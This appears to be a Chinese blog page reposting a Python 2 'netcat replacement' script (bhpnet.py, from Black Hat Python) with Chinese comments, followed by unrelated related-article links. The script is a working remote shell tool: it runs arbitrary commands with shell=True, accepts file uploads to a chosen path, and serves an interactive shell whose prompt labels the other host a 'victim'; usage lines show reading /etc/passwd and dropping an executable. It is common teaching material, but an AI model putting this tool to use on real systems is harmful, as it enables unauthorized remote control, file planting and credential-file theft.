#!/opt/local/bin/python2.7
#coding=utf-8
'''
取代netcat
两台主机中其中一台控制另一台
得到北控方的shell
''' import sys
import socket
import getopt
import threading
import subprocess # 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0 # this runs a command and returns the output
def run_command(command): # trim the newline
command = command.rstrip() # run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n" # send the output back to the client
return output # 这里会完成上传、执行shell命令、反弹shell的操作 控制方
def client_handler(client_socket):
global upload
global execute
global command # 检查是不是要求上传文件
if len(upload_destination): # read in all of the bytes and write to our destination
file_buffer = "" #持续接收数据
while True:
data = client_socket.recv(1024) if not data:
break
else:
file_buffer += data #将接收到的数据写到文件中
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close() # acknowledge that we wrote the file out
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination) # 检查是不是要向目标发送shell语句
if len(execute): # run the command
output = run_command(execute) client_socket.send(output) # 检查是不是要得到目标的shell
if command: while True:
# show a simple prompt
client_socket.send("<受害者:#> ") # 接收返还的结果
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024) # we have a valid command so execute it and send back the results
response = run_command(cmd_buffer) # send back the response
client_socket.send(response) # this is for incoming connections
def server_loop():
global target
global port # if no target is defined we listen on all interfaces
if not len(target):
target = "0.0.0.0" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port)) server.listen(5) while True:
client_socket, addr = server.accept() # spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,args=(client_socket,))
client_thread.start() # if we don't listen we are a client....make it so.
def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:
# connect to our target host
client.connect((target,port)) # if we detect input from stdin send it
# if not we are going to wait for the user to punch some in if len(buffer): client.send(buffer) while True: # now wait for data back
recv_len = 1
response = "" while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data if recv_len < 4096:
break print response, # wait for more input
buffer = raw_input("")
buffer += "\n" # send it off
client.send(buffer) except:
# just catch generic errors - you can do your homework to beef this up
print "[*] Exception! Exiting." # teardown the connection
client.close() # 列出一些标签
def usage():
print "Netcat Replacement"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute the given file upon receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0) def main(): '''
引用全局变量
:return:
'''
global listen
global port
global execute
global command
global upload_destination
global target '''
检查是否输入了参数
'''
if not len(sys.argv[1:]):
usage() # 接收控制参数
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage() for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option" # 检查是不是控制方,并且参数有没有输入 # 如果是被控方
if not listen and len(target) and port > 0: '''
read in the buffer from the commandline
this will block, so send CTRL-D if not sending input
to stdin
''' buffer = sys.stdin.read() '''
开始向被控方发送指令
send data off
'''
client_sender(buffer) '''
如果是控制方
we are going to listen and potentially
upload things, execute commands and drop a shell back
depending on our command line options above
'''
if listen:
# 执行
server_loop() if __name__ == '__main__':
main()

socket | netcat 模拟的更多相关文章

  1. 使用PHP Socket 编程模拟Http post和get请求

    这里给大家分享一段使用PHP Socket 编程模拟Http post和get请求的代码,非常的实用,结尾部分我们再讨论下php模拟http请求的几种方法. <?php /** * 使用PHP ...

  2. 编写Java程序,使用 Socket类模拟用户加入 QQ 群时,QQ 小冰发送欢迎消息的场景(用户充当客户端,QQ 小冰充当服务端)

    查看本章节 查看作业目录 需求说明: 小冰是微软公司研发的人工智能机器人,被腾讯公司加入 QQ 群后,立即受到千万网友的喜爱.现在使用 Socket类模拟用户加入 QQ 群时,QQ 小冰发送欢迎消息的 ...

  3. fsockopen以Socket方式模拟HTTP下载文件

    fsockopen 的功能很强大,比如前面模拟 HTTP 访问,模拟 POST/GET 请求,什么的,这里再举一个例子,那就是下载东西.比如下载 http://www.nowamagic.net//l ...

  4. C语言:socket简单模拟http请求

    #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netine ...

  5. socket本地模拟UDP 服务器+客户端(三)

    UDP: TCP是建立可靠连接,并且通信双方都可以以流的形式发送数据.相对TCP,UDP则是面向无连接的协议. 使用UDP协议时,不需要建立连接,只需要知道对方的IP地址和端口号,就可以直接发数据包. ...

  6. socket本地模拟TCP 服务器+客户端(二)

    建立两个py文件,分别打开两个cmd界面,即可进行通信.服务器端运用多进程,连续不断的处理从客户端接收到的数据:客户端通过一个list不断给客户端发送数据. (每个连接都必须创建新线程(或进程)来处理 ...

  7. socket编程模拟linux下的ssh代码实现

    实现思路: 1.提供输入指令的客户端: 2.提供返回执行指令结果的服务端 3.寻找服务端返回结果一次无法全部接收的解决思路 服务端代码(ssh_server.py) #coding=utf-8 imp ...

  8. Socket编程之Tomcat模拟_采坑汇总

    用java.net.Socket来模拟实现Tomcat,碰到了一些坑,大部分是没有想到的,记录下来自查. 直接上代码, public class TomcatDemo { private static ...

  9. 第一篇 先用socket模拟web服务器

    一.用socket来模拟网站访问 socket为python2.7 #!/usr/bin/env python # -*- coding:utf-8 -*- import socket def han ...

随机推荐

  1. v-if指令

    <!doctype html> <html> <head> <meta charset="UTF-8"> <title> ...

  2. Game on a Tree Gym - 102392F(树上最大匹配)

    思路: 本质是求一个树上的最大匹配能否覆盖所有的点. dfs遍历,用qian[]数组记录当前节点的子树内有几个没有匹配的点(初始化为-1因为可以匹配掉一个子树中未匹配的点),pipei[]数组记录当前 ...

  3. MapReduce(2): How does Mapper work

    In the previous post, we've illustrated how Hadoop MapReduce prepares input for Mappers. Long story ...

  4. jQuery将字符串转换为数字

    1:parseInt(string)  parseInt("1234blue"); //returns 1234 parseInt("123"); //retu ...

  5. 线程局部存储tls的使用

    线程局部存储(Thread Local Storage,TLS)主要用于在多线程中,存储和维护一些线程相关的数据,存储的数据会被关联到当前线程中去,并不需要锁来维护.. 因此也没有多线程间资源竞争问题 ...

  6. 《JAVA设计模式》之模板模式(Template)

    在阎宏博士的<JAVA与模式>一书中开头是这样描述模板方法(Template Method)模式的: 模板方法模式是类的行为模式.准备一个抽象类,将部分逻辑以具体方法以及具体构造函数的形式 ...

  7. CodeChef Gcd Queries

    Gcd Queries   Problem code: GCDQ   Submit All Submissions   All submissions for this problem are ava ...

  8. Codeforces 1156D 0-1-Tree ( 并查集 || 树形DP )

    <题目链接> 题目大意: 给定一颗无向树,树的边权只要0/1两种情况,现在问你这棵树上存在多少对有序对<u,v>,满足u-->v的路径上,如果出现边权为1的边之后,就不能 ...

  9. 基于Zookeeper实现客户端动态监听服务器上下线

    一.在具体实现之前,先来了解一下Zookeeper的监听器的原理: 图中Main()线程作为客户端,当在主线程中创建Zookeeper客户端时,会默认创建两个子线程:Listener和connect, ...

  10. centos7配置sudo免密

    1.chmod  +w   /etc/sudoers 2.vim  /etc/sudoers 在已经有了的root下面加 username  ALL=NOPASSWD:ALL      (这是所有的命 ...